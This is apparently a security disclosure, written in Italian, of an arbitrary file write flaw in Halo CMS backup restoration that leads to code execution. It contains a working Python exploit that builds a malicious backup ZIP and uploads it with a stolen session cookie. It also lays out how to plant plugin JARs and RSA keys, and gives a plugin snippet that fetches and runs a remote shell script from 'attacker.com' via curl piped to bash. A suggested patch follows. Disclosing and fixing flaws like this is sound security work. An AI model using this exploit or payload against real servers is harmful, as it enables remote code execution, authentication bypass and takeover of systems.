
Proof-of-concept exploit per una vulnerabilità di scrittura arbitraria di file nel ripristino dei backup di Halo CMS, che consente RCE tramite sostituzione del plugin JAR o bypass dell'autenticazione.
Esiste una vulnerabilità critica di scrittura arbitraria di file nella funzionalità di ripristino del backup di Halo CMS fino alla versione 2.25.4. Il metodo restoreWorkdir() in MigrationServiceImpl.java copia la directory workdir/ da un archivio di backup fornito dall'utente direttamente nella directory di lavoro dell'applicazione Halo (~/.halo2/) senza alcuna validazione dei tipi di file, protezione dal path traversal o controllo dei collegamenti simbolici. Un utente autenticato con privilegi di gestione dei backup può creare un file ZIP di backup dannoso contenente file arbitrari nella directory workdir/, che verranno scritti nella directory di lavoro del server al momento del ripristino, portando potenzialmente all'esecuzione remota di codice (RCE) tramite la sostituzione di JAR dei plugin o al bypass dell'autenticazione tramite la sostituzione delle chiavi RSA.
Punteggio CVSS v3.1: 8.8 (Alto)
Vettore CVSS:
CWE-73 (Controllo Esterno del Nome o del Percorso del File)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HLa vulnerabilità risiede nel metodo restoreWorkdir() di MigrationServiceImpl.java (righe 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // RIGA VULNERABILE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
Il metodo copyRecursively() (il FileSystemUtils di Spring) esegue una copia ricorsiva senza:
.. nei nomi dei fileLa vulnerabilità viene attivata tramite l'endpoint di ripristino del backup:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
Il processo di ripristino segue questa sequenza:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Estrae lo ZIP in una directory temporanea │
│ 2. restoreExtensions() → Ripristina extensions.data │
│ 3. restoreWorkdir() → Copia workdir/ in ~/.halo2/ │
│ ↑ File arbitrari scritti nella directory di lavoro │
└─────────────────────────────────────────────────────────────┘
Un file ZIP di backup dannoso deve contenere:
malicious-backup.zip
├── extensions.data # Richiesto: può essere vuoto o contenere JSONL valido
└── workdir/ # Richiesto: il contenuto viene copiato in ~/.halo2/
├── PWNED_BY_POC.txt # File marcatore di prova del concetto
├── plugins/ # JAR dei plugin per RCE
│ └── evil-plugin.jar # Plugin dannoso
└── keys/ # Chiavi RSA per il bypass dell'autenticazione
├── pat_id_rsa # Chiave privata dannosa
└── pat_id_rsa.pub # Chiave pubblica dannosa
Il file extensions.data deve essere valido affinché restoreExtensions() abbia successo. I formati validi includono:
File vuoto: (contenuto vuoto)
Riga vuota: \n (solo nuova riga)
JSONL valido: Un oggetto ExtensionStore per riga:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Dove data è contenuto codificato in base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# extensions.data vuoto (supera la validazione di restoreExtensions)
zf.writestr('extensions.data', '\n')
# File arbitrario da scrivere in ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Scrittura arbitraria di file confermata!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Indirizzo di gestione del backup del frontend:http://ip:porta/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<Contenuto binario del file ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Sul server Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| Vettore di Attacco | File di Destinazione | Impatto | Gravità |
|---|---|---|---|
| Sostituzione JAR Plugin | ~/.halo2/plugins/*.jar | Esecuzione Remota di Codice | Critica |
| Sostituzione Chiave RSA | ~/.halo2/keys/pat_id_rsa | Bypass dell'Autenticazione | Critica |
| Sostituzione Tema | ~/.halo2/themes/* | XSS Persistente | Alta |
| Sovrascrittura Configurazione | ~/.halo2/*.yaml | Bypass dei Controlli di Sicurezza | Alta |
Un attaccante può sostituire un JAR di plugin legittimo con uno dannoso contenente:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Esegue un comando arbitrario
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Quando il plugin viene caricato, il codice dannoso viene eseguito con i privilegi del processo Halo.
#!/usr/bin/env python3
"""
PoC di Scrittura Arbitraria di File nel Ripristino del Backup di Halo CMS
Vulnerabilità: Scrittura Arbitraria di File nel Ripristino del Backup
CVSS: 8.8 (Alto)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Scrittura arbitraria di file nel ripristino del backup di Halo confermata!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Stato: {r.status_code}")
print(f"Risposta: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCESSO! Verifica: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Esegui il PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Sul server Halo
cat ~/.halo2/PWNED_BY_POC.txt
Aggiungere la validazione al metodo restoreWorkdir():
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Valida l'assenza di path traversal
checkDirectoryTraversal(backupRoot, workdir);
// Valida l'assenza di collegamenti simbolici
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Collegamenti simbolici non consentiti");
}
return FileVisitResult.CONTINUE;
}
});
// Copia con validazione
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaQuesta divulgazione di vulnerabilità è intesa esclusivamente a scopo di ricerca sulla sicurezza. L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Ottenere sempre la dovuta autorizzazione prima di testare i sistemi per individuare vulnerabilità.